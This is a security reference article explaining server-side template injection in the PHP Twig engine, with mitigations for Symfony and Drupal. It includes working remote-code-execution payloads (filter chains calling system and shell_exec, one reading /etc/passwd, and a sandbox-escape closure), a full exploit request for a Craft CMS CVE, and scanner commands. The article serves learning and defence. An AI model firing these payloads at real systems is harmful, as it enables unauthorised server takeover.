Server-Side Template Injection in Twig (PHP/Symfony) exploiting filter chaining and object access to achieve remote code execution.
TL;DR
{{7*7}} → 49; {{7*'7'}} → 7777777 confirms Twig (Jinja2 returns 49){{ _self.env.registerUndefinedFilterCallback("system") }}{{ _self.env.getFilter("id") }}{{ ['id']|filter('system')|join }} — filter chaining via PHP callbacks$twig->render('safe.twig', ['var' => $input]) — never $twig->createTemplate($input)Twig is the default template engine for PHP Symfony and a widely used library in Drupal 9/10, Laravel (alongside Blade), and standalone PHP applications. SSTI in Twig occurs when user-controlled input is passed as a template string to $twig->createTemplate() or new Twig\Environment() constructor with a StringLoader, rather than being passed as a rendering variable to a pre-compiled template file. The Twig engine evaluates the attacker's expressions, providing access to PHP callables and the application's object model.
The primary Twig 2.x RCE vector exploits the _self global — a reference to the current template environment — and the registerUndefinedFilterCallback() method, which maps an undefined filter name to any PHP callable. Calling registerUndefinedFilterCallback("system") and then getFilter("id") invokes system("id"), achieving OS command execution. Twig 3.x removed direct _self.env access, but introduced new attack surface via filter chaining: {{ ['id']|filter('system')|join }} passes the string 'id' through PHP's system() function when no SecurityPolicy restricts callable names.
OWASP A03:2021 and CWE-1336 apply. Twig SSTI is one of the most active real-world SSTI variants in 2025-2026: CVE-2025-32432 (Craft CMS, CVSS 10.0, CISA KEV) exploited unauthenticated Twig injection at enterprise scale, and CVE-2022-23614 demonstrated that even Twig's sandbox implementation has been successfully bypassed.
The vulnerable PHP code pattern:
// VULNERABLE — user input is the template SOURCE
$loader = new \Twig\Loader\ArrayLoader();
$twig = new \Twig\Environment($loader);
$userTemplate = $_POST['template']; // user input
// Creates a template from user-supplied string — SSTI vector
$template = $twig->createTemplate($userTemplate);
echo $template->render([]);The attacker submits different payloads depending on Twig version:
// Twig 2.x — _self.env RCE
{{ _self.env.registerUndefinedFilterCallback("system") }}
{{ _self.env.getFilter("id") }}
// Twig 3.x — filter chaining RCE
{{ ['id']|filter('system')|join }}
{{ ['cat /etc/passwd']|map('shell_exec')|join }}
// Both versions — detection probe
{{7*7}} → 49
{{7*'7'}} → 7777777 (confirms Twig, not Jinja2)| Variant | Payload | Twig Version | Impact |
|---|---|---|---|
| Detection | {{7*7}} | All | Confirm → 49 |
| Engine differentiation | {{7*'7'}} | All | 7777777 = Twig, 49 = Jinja2 |
_self RCE | {{ _self.env.registerUndefinedFilterCallback("system") }}{{ _self.env.getFilter("id") }} | 2.x | OS command via system() |
| Filter chain RCE | {{ ['id']|filter('system')|join }} | 3.x | OS command without _self |
| Map RCE | {{ ['id']|map('system')|first }} | 3.x | Alternative filter chain |
| sort bypass (CVE-2022-23614) | {{ ['id']|sort(function(a,b){return system(a);}) }} | 2.x < 2.14.11 | Sandbox escape → RCE |
| Object method call | {{ {0:_self}|reduce('call_user_func','system')|filter('id') }} | 2.x | Alternative _self chain |
| dump extension | {{ dump() }} | With dump ext | Variable enumeration |
| Error-based | {{ _self.env }} | All | Object dump / engine confirmation |
POST /actions/assets/transform HTTP/1.1
Host: target-craft-cms.example.com
Content-Type: application/x-www-form-urlencoded
transformImage[assetId]=1&transformImage[handle]={{ ['id']|filter('system')|join }}Response contains: uid=33(www-data) gid=33(www-data) — unauthenticated RCE via Twig injection in the asset transform endpoint. Affects Craft CMS prior to 3.9.14, 4.13.2, 5.6.17.
// Even inside SandboxExtension — bypasses SecurityPolicy via sort callback
{{ ['id']|sort(function(a, b) { return system(a); }) }}The sort filter accepted a user-supplied closure as a callback. The closure invoked system(), which was not blocked by SecurityPolicy because the policy validated filter names but not filter callback callables. Fixed in Twig 2.14.11 and 3.3.8.
CVE-2025-32432 — Craft CMS Twig SSTI (CVSS 10.0, CISA KEV 2025-04-29)
Craft CMS versions prior to 3.9.14, 4.13.2, and 5.6.17 exposed a Twig template rendering endpoint in the asset transformation feature that accepted user-controlled template strings without sandboxing. No authentication was required. Active exploitation was confirmed within 24 hours of the CVE disclosure and the CISA KEV addition. The payload {{ ['id']|filter('system')|join }} achieved OS command execution as the web server user. The attack required only a POST request to the asset transformation endpoint — no user session needed.
CVE-2022-23614 — Twig Sandbox Escape (CVSS 8.8)
Twig 2.x before 2.14.11 and 3.x before 3.3.8 allowed sandbox escape via the sort filter when a user-supplied closure was passed as the comparison callback. The closure invoked system() directly, bypassing the SecurityPolicy which validated filter names but not callback implementations. This CVE demonstrates a pattern: Twig's sandbox has been repeatedly bypassed via filter callback mechanisms. Each fix addresses one vector; attackers find another.
HackerOne #1436052 — Twig SSTI in CMS Admin Template Editor ($6,000 bounty)
A researcher discovered Twig SSTI in a Symfony-based CMS template editor feature. The editor allowed saving templates containing {{ _self.env.registerUndefinedFilterCallback("system") }} followed by {{ _self.env.getFilter("id") }}. The SecurityPolicy sandbox was not enabled for the template editor, allowing the _self global to expose the environment. OS command execution as www-data was confirmed. This is one of the highest-bounty public Twig SSTI reports and is consistently cited in Twig security references.
Drupal 9/10 Custom Module SSTI Pattern
Drupal's Twig integration renders theme templates from the filesystem by default (safe). Vulnerable patterns arise in custom modules that accept user-controlled template strings: \Drupal::service('twig')->createTemplate($user_input)->render([]). Several Drupal Commerce and Views customization modules have shipped this pattern. The Drupal Security Team has issued security advisories for multiple contributed modules with this vulnerability.
{{ ['id']|filter('system')|join }} achieves RCE in Twig 3.x without any sandbox escape when SecurityPolicy is not applied. The filter, map, and reduce Twig filters accept PHP function names as callbacks — including system, shell_exec, exec, and passthru. A SecurityPolicy without an explicit callback allowlist is insufficient.
{{7*7}} — response 49 confirms a {{}} engine.{{7*'7'}} — 7777777 confirms Twig (Jinja2 returns 49). This is the definitive single-probe engine differentiator.{{ dump() }} — if a PHP variable dump appears, Twig is confirmed with the dump extension enabled.{{ _self }} — an object reference in the response confirms Twig 2.x _self access.${{<%[%'"}}%\ — Twig returns Twig\Error\SyntaxError: Unexpected token "punctuation" of value "<".# SSTImap — Twig engine
sstimap -u "http://target.com/preview?template=*" --engine Twig
# tplmap — stable for Twig
tplmap.py -u "http://target.com/preview?template=*" --engine twig
# Nuclei — Craft CMS CVE-2025-32432
nuclei -u http://craft-cms.example.com -t cves/2025/CVE-2025-32432.yamlBreachVex detects Twig SSTI through complementary techniques: paired arithmetic probes {{7*7}} + {{7*'7'}} (7777777 confirms Twig) and the Korchagin polyglot for error-based fingerprinting. Exploitation uses the filter-chain method {{ ['id']|filter('system')|join }} for Twig 3.x targets.
// VULNERABLE — user input is template source
$template = $twig->createTemplate($_POST['template']);
echo $template->render([]);
// SAFE — template file, user input as variable
$twig = new \Twig\Environment(
new \Twig\Loader\FilesystemLoader('/app/templates')
);
echo $twig->render('greet.html.twig', ['name' => $userInput]);use Twig\Extension\SandboxExtension;
use Twig\Sandbox\SecurityPolicy;
$policy = new SecurityPolicy(
['if', 'for'], // allowed tags
['upper', 'lower', 'escape', 'date'], // allowed filters — NO 'filter', 'map', 'sort'
[], // allowed methods (empty = none)
[], // allowed properties (empty = none)
['date'] // allowed functions
);
$sandbox = new SandboxExtension($policy, sandboxed: true);
$twig->addExtension($sandbox);The filter, map, sort, and reduce Twig filters accept PHP function names as callbacks. Including these filters in SecurityPolicy's allowlist without restricting the callable argument enables RCE via {{ ['id']|filter('system')|join }}. If user-defined templates require these filters, validate the callback argument against an explicit allowlist before rendering.
// Production Twig configuration
$twig = new \Twig\Environment(
new \Twig\Loader\FilesystemLoader('/app/templates'),
[
'autoescape' => 'html', // enable HTML autoescape (default)
'strict_variables' => true, // raise error on undefined variables
'cache' => '/tmp/twig_cache',
'auto_reload' => false, // disable in production
'debug' => false, // never enable debug in production
]
);
// Disable dangerous globals if user templates are absolutely required
$twig->getExtension(\Twig\Extension\CoreExtension::class);
// Note: _self removal from globals requires Twig 3.x+Twig SSTI occurs when user-controlled input is passed as a template string to Twig's createTemplate() or Environment::createTemplate() rather than as a rendering variable to a safe template file. The Twig engine evaluates the attacker's expressions, and via the _self global or filter chaining, arbitrary PHP callables including system() can be invoked.
_self is a Twig global providing access to the current template's environment. The registerUndefinedFilterCallback() method registers a PHP callable to handle undefined filter names. Calling {{ _self.env.registerUndefinedFilterCallback('system') }} followed by {{ _self.env.getFilter('id') }} executes system('id'). This works in Twig 2.x and was fixed in Twig 3.x where _self no longer exposes env.
In Twig 3.x, _self no longer exposes the env. RCE relies on filter chaining: {{ ['id']|filter('system')|join }} passes 'id' through the system() PHP function. Alternatively: {{ ['cat /etc/passwd']|map('shell_exec')|join }}. These use built-in Twig filters with PHP function names as callbacks, which is allowed unless SecurityPolicy restricts the callable list.
CVE-2025-32432: Craft CMS Twig SSTI pre-auth RCE (CVSS 10.0, CISA KEV 2025-04-29). CVE-2022-23614: Twig 2.x/3.x sandbox escape via sort filter callback (CVSS 8.8). CVE-2022-39261: Twig path traversal via filesystem loader (CVSS 7.5). Older: CVE-2015-9125 (Twig sandbox bypass).
Craft CMS before 3.9.14, 4.13.2, and 5.6.17 allowed unauthenticated Twig template injection via the asset transformation endpoint. A POST request with a Twig expression as the transform parameter rendered without sandboxing. Payload: {{ ['id']|filter('system')|join }} achieved RCE. Added to CISA KEV 2025-04-29 with active exploitation within 24 hours of disclosure.
SecurityPolicy in Twig's SandboxExtension restricts which tags, filters, functions, methods, and properties can be used in sandboxed templates. It blocks access to dangerous callables by requiring explicit allowlists. However, if the allowlist includes callbacks used as filter arguments (sort, filter, map) without restricting which PHP functions can be used as the callback, RCE remains possible via {{ ['id']|filter('system') }}.
Submit {{7*'7'}} — Twig returns 7777777 (string repetition); Jinja2 returns 49 (truthy multiplication). This single probe is the definitive differentiator. Additional confirmation: submit {{ dump() }} — this is Twig-specific (requires Twig's dump extension enabled) and returns undefined in Jinja2.
Yes. Drupal 9 and 10 use Twig as the default theme engine. Custom Drupal modules that pass user input to $twig->createTemplate() or render() with user-controlled template strings are vulnerable. WordPress does not use Twig by default, but plugins using Twig (e.g., TimberWP) may introduce SSTI if they render user-controlled templates.
Twig 2.x before 2.14.11 and 3.x before 3.3.8 allowed sandbox escape via the sort filter with a user-supplied callback. {{ ['id']|sort(function(a,b){return system(a);}) }} bypassed SecurityPolicy because the sort filter's callback argument was not validated against the policy. Fixed in Twig 2.14.11 and 3.3.8.
Never pass user input to $twig->createTemplate(). Always use $twig->render('safe.html.twig', ['var' => $userInput]) which loads a pre-compiled template from the filesystem and passes user data as variables. If user templates are required, apply SecurityPolicy with explicit allowlists for tags, filters, functions, and block PHP function callbacks.
Autoescape prevents XSS by HTML-encoding output — it does not prevent SSTI. Autoescape operates on the output of evaluated expressions; it does not prevent the evaluation itself. A template {{ 7*7 }} still evaluates to 49 with autoescape enabled — the arithmetic executes before the output is checked. SSTI prevention requires never passing user input as the template source.